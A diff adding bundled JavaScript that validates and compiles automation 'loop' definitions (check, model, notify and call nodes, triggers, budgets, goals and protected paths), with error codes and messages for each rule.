+      c.err(e.path, "BAD_TYPE", "an edge target is a node id or a terminal (@goal, @stop, @pause)");
+      continue;
+    }
+    if (e.target.startsWith("@")) {
+      if (!LOOP_TERMINALS.includes(e.target)) c.err(e.path, "UNKNOWN_TARGET", `${e.target} is not a terminal (@goal, @stop, @pause)`);
+      else if (e.target === "@goal") goalEdges.push(e);
+    } else if (!g.nodeTypes.has(e.target)) {
+      c.err(e.path, "UNKNOWN_TARGET", `edge target "${e.target}" is not a node id or a terminal`);
+    }
+  }
+  if (!has(d, "start")) c.err("start", "REQUIRED", "start is required");
+  else if (typeof d.start !== "string" || !g.nodeTypes.has(d.start)) c.err("start", "UNKNOWN_TARGET", "start must name a node");
+  const goal = has(d, "goal") && c.obj(d.goal, "goal", "goal") ? d.goal : void 0;
+  if (goal) {
+    c.closed(goal, "goal", ["node", "verdict", "inputs"]);
+    if (!has(goal, "node")) c.err("goal.node", "REQUIRED", "goal.node is required");
+    else if (typeof goal.node !== "string" || !g.nodeTypes.has(goal.node)) c.err("goal.node", "UNKNOWN_TARGET", "goal.node must name a node");
+    else if (g.nodeTypes.get(goal.node) !== "check") c.err("goal.node", "GOAL_NOT_CHECK", "goal.node must name a check node: progress rests on something that cannot lie (LL2)");
+    else if (g.nodeHasRun.has(goal.node) && !(Array.isArray(goal.inputs) && goal.inputs.length > 0)) {
+      c.err("goal.inputs", "GOAL_INPUTS_REQUIRED", "a goal on a run check declares goal.inputs (the globs act nodes may not edit)");
+    }
+    if (has(goal, "verdict")) c.oneOf(goal.verdict, "goal.verdict", "goal.verdict", ["pass"]);
+    if (has(goal, "inputs") && c.strList(goal.inputs, "goal.inputs", "goal.inputs", { nonEmpty: true })) {
+      goal.inputs.forEach((x, i) => c.glob(x, join2("goal.inputs", i)));
+    }
+  }
+  if (goalEdges.length && !goal) c.err("goal", "GOAL_REQUIRED", "an edge reaches @goal, so the loop declares goal: { node: <check> }");
+  for (const e of goalEdges) {
+    if (e.fromType === "call") continue;
+    if (e.fromType !== "check") c.err(e.path, "GOAL_VIA_MODEL", "only the goal check (or a call) may reach @goal: a model or notify verdict alone never meets a goal (LL2)");
+    else if (goal && goal.node !== e.from) c.err(e.path, "GOAL_EDGE_NOT_GOAL_NODE", `only goal.node may reach @goal (this is "${e.from}", the goal names "${String(goal.node)}")`);
+  }
+  if (has(d, "land") && c.obj(d.land, "land", "land")) {
+    const l = d.land;
+    c.closed(l, "land", ["paths", "message", "maxWaitMin"]);
+    if (!has(l, "paths")) c.err("land.paths", "REQUIRED", "land.paths is required");
+    else if (c.strList(l.paths, "land.paths", "land.paths", { nonEmpty: true })) {
+      l.paths.forEach((x, i) => {
+        c.glob(x, join2("land.paths", i));
+        if (x.split("/").includes("node_modules")) c.err(join2("land.paths", i), "PROTECTED_PATH", "a loop never lands under node_modules");
+      });
+    }
+    if (!has(l, "message")) c.err("land.message", "REQUIRED", "land.message is required");
+    else c.str(l.message, "land.message", "land.message", 2e3);
+    if (has(l, "maxWaitMin")) c.posInt(l.maxWaitMin, "land.maxWaitMin", "land.maxWaitMin");
+  }
+  let continuous = false;
+  if (has(d, "triggers")) {
+    if (!Array.isArray(d.triggers)) c.err("triggers", "BAD_TYPE", "triggers must be a list");
+    else d.triggers.forEach((t, i) => {
+      const p = join2("triggers", i);
+      const r = validateTrigger(c, t, p, flowRefs);
+      if (r === "continuous") continuous = true;
+    });
+  }
+  if (continuous) {
+    if (!goal && !(runB && has(runB, "rounds"))) {
+      c.err("triggers", "CONTINUOUS_NEEDS_GOAL", "a continuous loop needs a goal or budgets.run.rounds");
+    }
+    if (!(dayB && (has(dayB, "runs") || has(dayB, "computeSec")))) {
+      c.err("budgets.day", "CONTINUOUS_NEEDS_DAY_CAP", "a continuous loop sets budgets.day.runs or budgets.day.computeSec");
+    }
+  }
+  if (flowRefs.length) {
+    if (!opts.flowIndex) {
+      c.warn("flows", "FLOWS_UNRESOLVED", "no flow index was given: flows stay symbolic until the next validate with an index");
+    } else {
+      for (const r of flowRefs) {
+        const globs = opts.flowIndex[r.flow];
+        if (!globs) c.err(r.path, "UNKNOWN_FLOW", `${r.flow} is not in the flow index`);
+        else if (globs.length === 0) c.warn(r.path, "FLOW_NO_PATHS", `${r.flow} resolves to no paths`);
+      }
+    }
+  }
+  validateCalls(c, typeof d.id === "string" ? d.id : "", g, opts, new Set(goalEdges.filter((e) => e.fromType === "call").map((e) => e.from)));
+  if (typeof d.start === "string" && g.nodeTypes.has(d.start)) {
+    const adj = /* @__PURE__ */ new Map();
+    for (const e of edges) if (typeof e.target === "string") adj.set(e.from, [...adj.get(e.from) ?? [], e.target]);
+    const seen = /* @__PURE__ */ new Set([d.start]);
+    const todo = [d.start];
+    while (todo.length) for (const t of adj.get(todo.pop()) ?? []) if (g.nodeTypes.has(t) && !seen.has(t)) {
+      seen.add(t);
+      todo.push(t);
+    }
+    for (const [id, i] of g.nodeIndex) {
+      if (!seen.has(id)) c.warn(join2(join2("nodes", i), "id"), "UNREACHABLE_NODE", `node "${id}" is never reached from start`);
+    }
+  }
+}
+function validateCalls(c, selfId, g, opts, callsToGoal) {
+  const known = knownMap(opts.knownLoops);
+  for (const { path: path2, callee, hash8, from } of g.callees) {
+    if (callee === selfId) {
+      c.err(path2, "CALL_CYCLE", `a loop cannot call itself (${selfId} \u2192 ${selfId})`);
+      continue;
+    }
+    if (!known) continue;
+    if (!known.has(callee)) {
+      c.err(path2, "UNKNOWN_CALLEE", `no loop "${callee}" in this scope`);
+      continue;
+    }
+    const calleeDef = known.get(callee);
+    let actual = null;
+    try {
+      actual = loopContentHash(calleeDef);
+    } catch {
+      actual = null;
+    }
+    if (actual === null) c.err(path2, "CALL_PIN_MISMATCH", `the callee "${callee}" cannot be hashed (not a JSON definition)`);
+    else if (actual.slice(0, 8) !== hash8) c.err(path2, "CALL_PIN_MISMATCH", `the pin ${callee}@${hash8} is not the callee's content hash (${callee}@${actual.slice(0, 8)})`);
+    if (callsToGoal.has(from) && !(isObj(calleeDef) && isObj(calleeDef.goal))) {
+      c.err(path2, "CALL_GOAL_REQUIRED", `this call reaches @goal, so "${callee}" must declare a goal`);
+    }
+    const st = { cycle: null, deepest: [selfId, callee] };
+    const walk = (id, chain) => {
+      if (st.cycle) return;
+      if (chain.length > st.deepest.length) st.deepest = chain;
+      if (chain.length - 1 > LOOP_CALL_DEPTH_MAX) return;
+      for (const next of callTargets(known.get(id))) {
+        if (chain.includes(next)) {
+          st.cycle = [...chain, next];
+          return;
+        }
+        if (known.has(next)) walk(next, [...chain, next]);
+      }
+    };
+    walk(callee, [selfId, callee]);
+    if (st.cycle) c.err(path2, "CALL_CYCLE", `call cycle: ${st.cycle.join(" \u2192 ")}`);
+    else if (st.deepest.length - 1 > LOOP_CALL_DEPTH_MAX) {
+      c.err(path2, "CALL_DEPTH", `call depth ${st.deepest.length - 1} exceeds ${LOOP_CALL_DEPTH_MAX}: ${st.deepest.join(" \u2192 ")}`);
+    }
+  }
+}
+function validateTrigger(c, t, p, flowRefs) {
+  if (!c.obj(t, p, "a trigger")) return null;
+  const kinds = ["schedule", "event", "continuous"].filter((k) => has(t, k));
+  if (kinds.length !== 1) {
+    c.closed(t, p, ["schedule", "catchUp", "event", "debounce", "continuous"]);
+    c.err(p, "BAD_TRIGGER", "a trigger has exactly one of schedule, event or continuous");
+    return null;
+  }
+  const kind = kinds[0];
+  if (kind === "schedule") {
+    c.closed(t, p, ["schedule", "catchUp"]);
+    if (has(t, "catchUp")) c.oneOf(t.catchUp, join2(p, "catchUp"), "catchUp", ["skip", "once"]);
+    const sp = join2(p, "schedule");
+    if (!c.obj(t.schedule, sp, "schedule")) return kind;
+    const s = t.schedule;
+    if (has(s, "cron")) {
+      c.later(join2(sp, "cron"), "the cron trigger");
+      return kind;
+    }
+    const forms = ["every", "daily", "weekly"].filter((k) => has(s, k));
+    c.closed(s, sp, ["every", "daily", "weekly"]);
+    if (forms.length !== 1) {
+      c.err(sp, "BAD_TRIGGER", "a schedule has exactly one of every, daily or weekly");
+      return kind;
+    }
+    if (forms[0] === "every") {
+      const sec = c.duration(s.every, join2(sp, "every"), "schedule.every");
+      if (sec !== null && sec < LOOP_CONTINUOUS_MIN_COOLDOWN_SEC) c.err(join2(sp, "every"), "BAD_DURATION", `schedule.every is at least ${LOOP_CONTINUOUS_MIN_COOLDOWN_SEC}s`);
+    } else if (forms[0] === "daily") {
+      if (typeof s.daily !== "string" || !HHMM.test(s.daily)) c.err(join2(sp, "daily"), "BAD_TIME", 'daily is a quoted "HH:MM" (24-hour)');
+    } else if (c.obj(s.weekly, join2(sp, "weekly"), "weekly")) {
+      const w = s.weekly;
+      c.closed(w, join2(sp, "weekly"), ["day", "at"]);
+      c.oneOf(w.day, join2(sp, "weekly.day"), "weekly.day", LOOP_WEEKDAYS);
+      if (typeof w.at !== "string" || !HHMM.test(w.at)) c.err(join2(sp, "weekly.at"), "BAD_TIME", 'weekly.at is a quoted "HH:MM" (24-hour)');
+    }
+    return kind;
+  }
+  if (kind === "event") {
+    c.closed(t, p, ["event", "debounce"]);
+    if (has(t, "debounce")) c.duration(t.debounce, join2(p, "debounce"), "debounce");
+    const ep = join2(p, "event");
+    if (!c.obj(t.event, ep, "event")) return kind;
+    const e = t.event;
+    if (e.kind === "sentinel.incident.opened") {
+      c.later(join2(ep, "kind"), "the sentinel.incident.opened trigger");
+      return kind;
+    }
+    if (!c.oneOf(e.kind, join2(ep, "kind"), "event.kind", LOOP_EVENT_KINDS)) return kind;
+    if (e.kind === "file.changed") {
+      c.closed(e, ep, ["kind", "flow"]);
+      if (!has(e, "flow")) c.err(join2(ep, "flow"), "REQUIRED", "a file.changed trigger names its flow");
+      else if (typeof e.flow !== "string" || !FLOW_ID.test(e.flow)) c.err(join2(ep, "flow"), "BAD_ID", "a flow is a $kebab-id");
+      else flowRefs.push({ path: join2(ep, "flow"), flow: e.flow });
+    } else if (e.kind === "card.decided") {
+      c.closed(e, ep, ["kind", "loop", "node"]);
+      c.kebab(e.loop, join2(ep, "loop"), "event.loop");
+      c.kebab(e.node, join2(ep, "node"), "event.node");
+    } else {
+      c.closed(e, ep, ["kind"]);
+    }
+    return kind;
+  }
+  c.closed(t, p, ["continuous"]);
+  const cp = join2(p, "continuous");
+  if (!c.obj(t.continuous, cp, "continuous")) return kind;
+  c.closed(t.continuous, cp, ["cooldown"]);
+  if (!has(t.continuous, "cooldown")) c.err(join2(cp, "cooldown"), "CONTINUOUS_COOLDOWN", `a continuous trigger sets cooldown \u2265 ${LOOP_CONTINUOUS_MIN_COOLDOWN_SEC}s`);
+  else {
+    const sec = c.duration(t.continuous.cooldown, join2(cp, "cooldown"), "cooldown");
+    if (sec !== null && sec < LOOP_CONTINUOUS_MIN_COOLDOWN_SEC) {
+      c.err(join2(cp, "cooldown"), "CONTINUOUS_COOLDOWN", `cooldown is at least ${LOOP_CONTINUOUS_MIN_COOLDOWN_SEC}s`);
+    }
+  }
+  return kind;
+}
+function validateExit(c, n, p) {
+  if (!has(n, "exit") || !c.obj(n.exit, join2(p, "exit"), "exit")) return;
+  c.closed(n.exit, join2(p, "exit"), ["maxVisits", "maxFailStreak"]);
+  for (const f of ["maxVisits", "maxFailStreak"]) if (has(n.exit, f)) c.posInt(n.exit[f], join2(p, `exit.${f}`), `exit.${f}`);
+}
+function validateEdges(c, n, p, keys, edges, from, type) {
+  if (!has(n, "on")) return;
+  if (!c.obj(n.on, join2(p, "on"), "on")) return;
+  for (const [k, target] of Object.entries(n.on)) {
+    const ep = join2(join2(p, "on"), k);
+    if (k !== ANY && !keys.includes(k)) {
+      c.err(ep, "BAD_EDGE_KEY", `"${k}" is not a verdict of this node (${[...keys, ANY].join(", ")})`);
+      continue;
+    }
+    edges.push({ path: ep, from, fromType: type, target });
+  }
+}
+function validateInputRefs(c, v, p, what, g) {
+  if (!c.strList(v, p, what)) return;
+  v.forEach((ref, i) => {
+    const m = INPUT_REF.exec(ref);
+    if (!m) c.err(join2(p, i), "BAD_INPUT_REF", `${what} entries are <node-or-source>.<field> (like tsc.evidence or trigger.payload)`);
+    else if (!LOOP_INPUT_ROOTS.includes(m[1]) && !g.nodeTypes.has(m[1])) {
+      c.err(join2(p, i), "BAD_INPUT_REF", `"${m[1]}" is not a node id or one of ${LOOP_INPUT_ROOTS.join(", ")}`);
+    }
+  });
+}
+function validateNode(c, n, p, g, edges) {
+  if (!c.obj(n, p, "a node")) return;
+  if (!has(n, "id")) c.err(join2(p, "id"), "REQUIRED", "a node has an id");
+  else c.kebab(n.id, join2(p, "id"), "node id");
+  const id = typeof n.id === "string" ? n.id : "";
+  if (!c.oneOf(n.type, join2(p, "type"), "node type", ["check", "model", "notify", "call"])) return;
+  validateExit(c, n, p);
+  if (n.type === "check") {
+    c.closed(n, p, ["id", "type", "run", "builtin", "args", "effect", "pass", "timeoutSec", "env", "exit", "on"]);
+    if (has(n, "env")) c.envList(n.env, join2(p, "env"));
+    const hasRun = has(n, "run");
+    const hasBuiltin = has(n, "builtin");
+    if (hasRun === hasBuiltin) c.err(p, "CHECK_RUN_XOR_BUILTIN", "a check has exactly one of run or builtin");
+    if (hasRun) {
+      g.nodeHasRun.add(id);
+      for (const issue of argvIssues(n.run, join2(p, "run"))) c.errors.push(issue);
+      if (has(n, "args")) c.err(join2(p, "args"), "UNKNOWN_KEY", "args is for builtin checks; a run check puts its arguments in run");
+    }
+    if (hasBuiltin) {
+      c.oneOf(n.builtin, join2(p, "builtin"), "builtin", LOOP_BUILTINS);
+      if (has(n, "args") && c.obj(n.args, join2(p, "args"), "args")) c.literalArgs(n.args, join2(p, "args"));
+    }
+    if (has(n, "effect") && c.oneOf(n.effect, join2(p, "effect"), "effect", ["read", "write"]) && n.effect === "write") c.later(join2(p, "effect"), "effect: write (a write check)");
+    if (has(n, "timeoutSec")) c.posInt(n.timeoutSec, join2(p, "timeoutSec"), "timeoutSec");
+    if (has(n, "pass") && c.obj(n.pass, join2(p, "pass"), "pass")) {
+      const pp = join2(p, "pass");
+      const ps = n.pass;
+      if (has(ps, "exit")) {
+        c.closed(ps, pp, ["exit"]);
+        if (!(typeof ps.exit === "number" && Number.isInteger(ps.exit) && ps.exit >= 0 && ps.exit <= 255)) c.err(join2(pp, "exit"), "BAD_NUMBER", "pass.exit is an exit code 0\u2013255");
+      } else if (has(ps, "parse")) {
+        c.closed(ps, pp, ["parse", "failed"]);
+        c.oneOf(ps.parse, join2(pp, "parse"), "pass.parse", LOOP_PARSERS);
+        if (!(typeof ps.failed === "number" && Number.isInteger(ps.failed) && ps.failed >= 0)) c.err(join2(pp, "failed"), "BAD_NUMBER", "pass.failed is a non-negative integer");
+      } else if (has(ps, "json")) {
+        c.closed(ps, pp, ["json", "op", "value"]);
+        if (typeof ps.json !== "string" || !/^\$(\.[A-Za-z_][A-Za-z0-9_-]*|\[\d+\])*$/.test(ps.json)) c.err(join2(pp, "json"), "BAD_JSONPATH", "pass.json is a simple JSONPath like $.summary.failed");
+        c.oneOf(ps.op, join2(pp, "op"), "pass.op", LOOP_JSON_OPS);
+        const v = ps.value;
+        if (!(v === null || typeof v === "number" || typeof v === "boolean" || typeof v === "string")) c.err(join2(pp, "value"), "BAD_TYPE", "pass.value is a literal (number, string, boolean or null)");
+      } else {
+        c.err(pp, "BAD_PASS", "pass is one of { exit }, { parse, failed } or { json, op, value }");
+      }
+    }
+    validateEdges(c, n, p, CHECK_VERDICTS, edges, id, "check");
+    return;
+  }
+  if (n.type === "model") {
+    c.closed(n, p, ["id", "type", "role", "model", "prompt", "inputs", "tools", "verdict", "limits", "env", "exit", "on"]);
+    const role = c.oneOf(n.role, join2(p, "role"), "role", LOOP_MODEL_ROLES) ? n.role : void 0;
+    if (has(n, "env")) {
+      if (role === "judge" || role === "summarize") c.err(join2(p, "env"), "ENV_NOT_ALLOWED", `a ${role} node runs no tools, so it takes no env; only check and act nodes do`);
+      else c.envList(n.env, join2(p, "env"));
+    }
+    if (has(n, "model") && c.obj(n.model, join2(p, "model"), "model")) {
+      const m = n.model;
+      const mp = join2(p, "model");
+      c.closed(m, mp, ["use", "profile", "escalate", "minConfidence"]);
+      if (has(m, "use")) {
+        if (m.use === "claude" || m.use === "any") c.later(join2(mp, "use"), `model.use: ${m.use} (Claude in loops)`);
+        else c.oneOf(m.use, join2(mp, "use"), "model.use", ["local"]);
+      }
+      if (has(m, "escalate")) {
+        if (["on-unsure", "on-unavailable", "both"].includes(m.escalate)) c.later(join2(mp, "escalate"), `escalate: ${m.escalate} (Claude escalation)`);
+        else c.oneOf(m.escalate, join2(mp, "escalate"), "model.escalate", ["never"]);
+      }
+      if (has(m, "profile")) c.kebab(m.profile, join2(mp, "profile"), "model.profile");
+      if (has(m, "minConfidence") && !(typeof m.minConfidence === "number" && m.minConfidence >= 0 && m.minConfidence <= 1)) {
+        c.err(join2(mp, "minConfidence"), "BAD_NUMBER", "model.minConfidence is a number in [0, 1]");
+      }
+    }
+    if (has(n, "prompt")) c.str(n.prompt, join2(p, "prompt"), "prompt", 2e4);
+    if (has(n, "inputs")) validateInputRefs(c, n.inputs, join2(p, "inputs"), "inputs", g);
+    if (has(n, "tools")) {
+      const tp = join2(p, "tools");
+      const none = n.tools === "none" || Array.isArray(n.tools) && n.tools.length === 0;
+      if (!none && (role === "judge" || role === "summarize")) {
+        c.err(tp, "TOOLS_NOT_ALLOWED", `a ${role} node has no tools (\xA73.4); only act nodes get the tools they declare`);
+      } else if (!none) {
+        if (!Array.isArray(n.tools)) c.err(tp, "BAD_TYPE", "tools is none or a list (read, edit, { paradigm: [...] })");
+        else n.tools.forEach((tool, i) => {
+          const ip = join2(tp, i);
+          if (tool === "read" || tool === "edit") return;
+          if (isObj(tool) && has(tool, "bash")) {
+            c.later(join2(ip, "bash"), "the bash tool in loops");
+            return;
+          }
+          if (isObj(tool) && has(tool, "paradigm")) {
+            c.closed(tool, ip, ["paradigm"]);
+            if (Array.isArray(tool.paradigm)) tool.paradigm.forEach((x, j) => c.oneOf(x, join2(join2(ip, "paradigm"), j), "paradigm tool", LOOP_PARADIGM_TOOLS));
+            else c.err(join2(ip, "paradigm"), "BAD_TYPE", "paradigm tools are a list");
+            return;
+          }
+          c.err(ip, "BAD_TOOL", "a tool is read, edit or { paradigm: [...] }");
+        });
+      }
+    }
+    if (has(n, "verdict")) {
+      const vp = join2(p, "verdict");
+      if (role !== "judge") c.err(vp, "UNKNOWN_KEY", "verdict classes are for judge nodes");
+      else if (c.obj(n.verdict, vp, "verdict")) {
+        c.closed(n.verdict, vp, ["classes"]);
+        if (c.strList(n.verdict.classes, join2(vp, "classes"), "verdict.classes", { nonEmpty: true })) {
+          n.verdict.classes.forEach((k, i) => c.kebab(k, join2(join2(vp, "classes"), i), "a verdict class"));
+        }
+      }
+    }
+    if (has(n, "limits") && c.obj(n.limits, join2(p, "limits"), "limits")) {
+      c.closed(n.limits, join2(p, "limits"), ["turns", "tokens"]);
+      if (has(n.limits, "turns")) c.posInt(n.limits.turns, join2(p, "limits.turns"), "limits.turns");
+      if (has(n.limits, "tokens")) c.count(n.limits.tokens, join2(p, "limits.tokens"), "limits.tokens");
+    }
+    validateEdges(c, n, p, MODEL_VERDICTS, edges, id, "model");
+    return;
+  }
+  if (n.type === "notify") {
+    c.closed(n, p, ["id", "type", "as", "text", "attach", "choices", "exit", "on"]);
+    const as = c.oneOf(n.as, join2(p, "as"), "notify as", ["toast", "card"]) ? n.as : void 0;
+    if (has(n, "text")) c.str(n.text, join2(p, "text"), "text", 2e3);
+    if (has(n, "attach")) validateInputRefs(c, n.attach, join2(p, "attach"), "attach", g);
+    let keys = TOAST_VERDICTS;
+    if (as === "card") {
+      if (!has(n, "choices")) c.err(join2(p, "choices"), "REQUIRED", "a card lists its choices");
+      else if (c.strList(n.choices, join2(p, "choices"), "choices", { nonEmpty: true })) {
+        const seen = /* @__PURE__ */ new Set();
+        n.choices.forEach((ch, i) => {
+          const cp = join2(join2(p, "choices"), i);
+          if (!c.kebab(ch, cp, "a choice")) return;
+          if (ch === "timeout" || ch === ANY) c.err(cp, "BAD_ID", `"${ch}" is reserved`);
+          if (seen.has(ch)) c.err(cp, "DUPLICATE_ID", `choice "${ch}" is listed twice`);
+          seen.add(ch);
+        });
+        keys = [...n.choices, "timeout"];
+      }
+    } else if (as === "toast" && has(n, "choices")) {
+      c.err(join2(p, "choices"), "UNKNOWN_KEY", "choices are for cards (as: card)");
+    }
+    validateEdges(c, n, p, keys, edges, id, "notify");
+    if (as === "card" && isObj(n.on)) {
+      const on = n.on;
+      const eff = (k) => on[k] ?? on[ANY];
+      const t = eff("timeout");
+      if (t !== void 0 && t !== "@pause") c.err(join2(join2(p, "on"), "timeout"), "CARD_EDGE", "a card's timeout goes to @pause (an unanswered card pauses the loop)");
+      const st = eff("stop");
+      if (Array.isArray(n.choices) && n.choices.includes("stop") && st !== void 0 && st !== "@stop" && st !== "@pause") c.err(join2(join2(p, "on"), "stop"), "CARD_EDGE", "a card's stop goes to @stop or @pause (stop never continues the loop)");
+    }
+    return;
+  }
+  c.closed(n, p, ["id", "type", "loop", "exit", "on"]);
+  if (!has(n, "loop")) c.err(join2(p, "loop"), "REQUIRED", "a call names its loop as id@hash8");
+  else if (typeof n.loop !== "string" || !CALL_REF.exec(n.loop)) c.err(join2(p, "loop"), "BAD_CALL", "a call is pinned: <loop-id>@<hash8> (8 lowercase hex)");
+  else {
+    const m = CALL_REF.exec(n.loop);
+    g.callees.push({ path: join2(p, "loop"), callee: m[1], hash8: m[2], from: id });
+  }
+  validateEdges(c, n, p, CALL_VERDICTS, edges, id, "call");
+}
+function validateLoop(input, opts = {}) {
+  const c = new Checker();
+  validateInto(c, input, opts);
+  const ok = c.errors.length === 0;
+  return { ok, errors: c.errors, warnings: c.warnings, ...ok ? { loop: input } : {} };
+}
+function expandEdges(on, keys, fallback) {
+  const out = {};
+  for (const k of keys) out[k] = on?.[k] ?? on?.[ANY] ?? fallback(k);
+  return out;
+}
+var definedExit = (e) => e ? { ...e.maxVisits !== void 0 ? { maxVisits: e.maxVisits } : {}, ...e.maxFailStreak !== void 0 ? { maxFailStreak: e.maxFailStreak } : {} } : void 0;
+function compileNode(n, readShebang) {
+  const exit = definedExit(n.exit);
+  switch (n.type) {
+    case "check": {
+      const interp = n.run && readShebang ? readShebang(n.run[0]) : null;
+      return {
+        id: n.id,
+        type: "check",
+        ...n.run ? { run: [...n.run] } : {},
+        ...interp ? { argv0Interpreter: interp } : {},
+        ...n.builtin ? { builtin: n.builtin, args: structuredClone(n.args ?? {}) } : {},
+        effect: n.effect ?? LOOP_DEFAULTS.effect,
+        pass: structuredClone(n.pass ?? { exit: 0 }),
+        timeoutSec: n.timeoutSec ?? LOOP_DEFAULTS.timeoutSec,
+        ...n.env?.length ? { env: [...n.env] } : {},
+        ...exit ? { exit } : {},
+        on: expandEdges(n.on, CHECK_VERDICTS, () => "@stop")
+      };
+    }
+    case "model": {
+      const tools = n.tools === void 0 || n.tools === "none" ? [] : structuredClone(n.tools);
+      return {
+        id: n.id,
+        type: "model",
+        role: n.role,
+        model: {
+          use: "local",
+          escalate: "never",
+          ...n.model?.profile ? { profile: n.model.profile } : {},
+          minConfidence: n.model?.minConfidence ?? LOOP_DEFAULTS.minConfidence
+        },
+        ...n.prompt !== void 0 ? { prompt: n.prompt } : {},
+        inputs: [...n.inputs ?? []],
+        tools,
+        ...n.verdict ? { verdict: { classes: [...n.verdict.classes] } } : {},
+        limits: {
+          turns: n.limits?.turns ?? LOOP_DEFAULTS.modelLimits.turns,
+          tokens: n.limits?.tokens !== void 0 ? parseCount(n.limits.tokens) : LOOP_DEFAULTS.modelLimits.tokens
+        },
+        ...n.env?.length ? { env: [...n.env] } : {},
+        ...exit ? { exit } : {},
+        on: expandEdges(n.on, MODEL_VERDICTS, (k) => k === "unavailable" ? "@pause" : "@stop")
+      };
+    }
+    case "notify": {
+      const keys = n.as === "card" ? [...n.choices ?? [], "timeout"] : TOAST_VERDICTS;
+      return {
+        id: n.id,
+        type: "notify",
+        as: n.as,
+        ...n.text !== void 0 ? { text: n.text } : {},
+        attach: [...n.attach ?? []],
+        ...n.as === "card" ? { choices: [...n.choices ?? []] } : {},
+        ...exit ? { exit } : {},
+        on: expandEdges(n.on, keys, (k) => k === "timeout" ? "@pause" : "@stop")
+      };
+    }
+    case "call": {
+      const m = CALL_REF.exec(n.loop);
+      return {
+        id: n.id,
+        type: "call",
+        loop: n.loop,
+        callee: m[1],
+        hash8: m[2],
+        ...exit ? { exit } : {},
+        on: expandEdges(n.on, CALL_VERDICTS, () => "@stop")
+      };
+    }
+  }
+}
+function compileTrigger(t, flowIndex) {
+  if ("schedule" in t) {
+    const s = t.schedule;
+    return {
+      type: "schedule",
+      ..."every" in s ? { every: parseDurationSec(s.every) } : {},
+      ..."daily" in s ? { daily: s.daily } : {},
+      ..."weekly" in s ? { weekly: { day: s.weekly.day, at: s.weekly.at } } : {},
+      catchUp: t.catchUp ?? LOOP_DEFAULTS.catchUp
+    };
+  }
+  if ("event" in t) {
+    const e = t.event;
+    const debounceSec = t.debounce !== void 0 ? parseDurationSec(t.debounce) : LOOP_DEFAULTS.debounceSec;
+    if (e.kind === "file.changed") {
+      const paths = flowIndex?.[e.flow];
+      return { type: "event", kind: e.kind, flow: e.flow, ...paths ? { paths: [...paths] } : {}, debounceSec };
+    }
+    if (e.kind === "card.decided") return { type: "event", kind: e.kind, loop: e.loop, node: e.node, debounceSec };
+    return { type: "event", kind: e.kind, debounceSec };
+  }
+  return { type: "continuous", cooldownSec: parseDurationSec(t.continuous.cooldown) };
+}
+function compileLoop(input, opts = {}) {
+  const v = validateLoop(input, opts);
+  if (!v.ok || !v.loop) return v;
+  const d = v.loop;
+  const bd = opts.budgetDefaults ?? LOOP_BUDGET_DEFAULTS;
+  const br = d.budgets?.run;
+  const bday = d.budgets?.day;
+  const be = d.budgets?.escalations;
+  const flows = [...d.flows ?? []];
+  const referenced = new Set(flows);
+  for (const t of d.triggers ?? []) if ("event" in t && t.event.kind === "file.changed") referenced.add(t.event.flow);
+  const flowsResolved = !!opts.flowIndex || referenced.size === 0;
+  const flowPaths = opts.flowIndex && referenced.size ? Object.fromEntries([...referenced].sort().map((f) => [f, [...opts.flowIndex[f] ?? []]])) : void 0;
+  const known = knownMap(opts.knownLoops);
+  const prot = /* @__PURE__ */ new Set([...LOOP_ALWAYS_PROTECTED, ...ownProtected(d)]);
+  const seenCallees = /* @__PURE__ */ new Set();
+  const todo = callTargets(d);
+  while (todo.length) {
+    const id = todo.pop();
+    if (seenCallees.has(id) || !known?.has(id)) continue;
+    seenCallees.add(id);
+    for (const x of ownProtected(known.get(id))) prot.add(x);
+    todo.push(...callTargets(known.get(id)));
+  }
+  const callsResolved = callTargets(d).length === 0 || !!known;
+  const compiled = {
+    schema: LOOP_SCHEMA,
+    compiled: { version: LOOP_COMPILED_VERSION, flowsResolved, callsResolved, sourceHash: loopContentHash(input) },
+    id: d.id,
+    ...d.title !== void 0 ? { title: d.title } : {},
+    scope: opts.scope ?? "repo",
+    ...d.repo !== void 0 ? { repo: d.repo } : {},
+    flows,
+    ...flowPaths ? { flowPaths } : {},
+    triggers: (d.triggers ?? []).map((t) => compileTrigger(t, opts.flowIndex)),
+    autonomy: d.autonomy ?? LOOP_DEFAULTS.autonomy,
+    notify: { on: [...d.notify?.on ?? LOOP_DEFAULTS.notify.on], as: d.notify?.as ?? LOOP_DEFAULTS.notify.as },
+    decide: d.decide ?? LOOP_DEFAULTS.decide,
+    budgets: {
+      run: {
+        rounds: br?.rounds ?? bd.run.rounds,
+        wallMin: br?.wallMin ?? bd.run.wallMin,
+        tokens: br?.tokens !== void 0 ? parseCount(br.tokens) : bd.run.tokens,
+        computeSec: br?.computeSec ?? bd.run.computeSec
+      },
+      day: {
+        runs: bday?.runs ?? bd.day.runs,
+        tokens: bday?.tokens !== void 0 ? parseCount(bday.tokens) : bd.day.tokens,
+        computeSec: bday?.computeSec ?? bd.day.computeSec
+      },
+      escalations: { perRun: be?.perRun ?? bd.escalations.perRun, perDay: be?.perDay ?? bd.escalations.perDay }
+    },
+    ...d.goal ? { goal: { node: d.goal.node, verdict: "pass", inputs: [...d.goal.inputs ?? []] } } : {},
+    ...d.land ? { land: { paths: [...d.land.paths], message: d.land.message, maxWaitMin: d.land.maxWaitMin ?? LOOP_DEFAULTS.landMaxWaitMin } } : {},
+    ...d.redact === "off" || d.redact === false ? { redact: "off" } : {},
+    ...d.envFiles?.length ? { envFiles: [...d.envFiles] } : {},
+    ...d.network === "on" || d.network === true ? { network: "on" } : {},
+    start: d.start,
+    nodes: d.nodes.map((n) => compileNode(n, opts.readShebang)),
+    protected: [...prot].sort()
+  };
+  return { ...v, compiled };
+}
+function canonicalLoopJson(compiled) {
+  return canonicalJson(compiled);
+}
+function loopFileJson(compiled) {
+  return `${JSON.stringify(JSON.parse(canonicalLoopJson(compiled)), null, 2)}
+`;
+}
+function formatLoopIssue(i) {
+  return `${i.path || "(root)"}: ${i.code}: ${i.message}`;
+}
+
+// src/loops/compiled.ts
+var isObj2 = (v) => typeof v === "object" && v !== null && !Array.isArray(v);
+var SHA_HEX = /^[0-9a-f]{64}$/;
+var COMPILED_KEYS = ["schema", "compiled", "id", "title", "scope", "repo", "flows", "flowPaths", "triggers", "autonomy", "notify", "decide", "budgets", "goal", "land", "redact", "envFiles", "network", "start", "nodes", "protected"];
+var fail = (path2, code, message) => ({ ok: false, errors: [{ path: path2, code, message }] });
+function decompile(c) {
+  const d = { schema: c.schema, id: c.id };
+  if (c.title !== void 0) d.title = c.title;
+  if (c.repo !== void 0) d.repo = c.repo;
+  if (Array.isArray(c.flows) && c.flows.length) d.flows = c.flows;
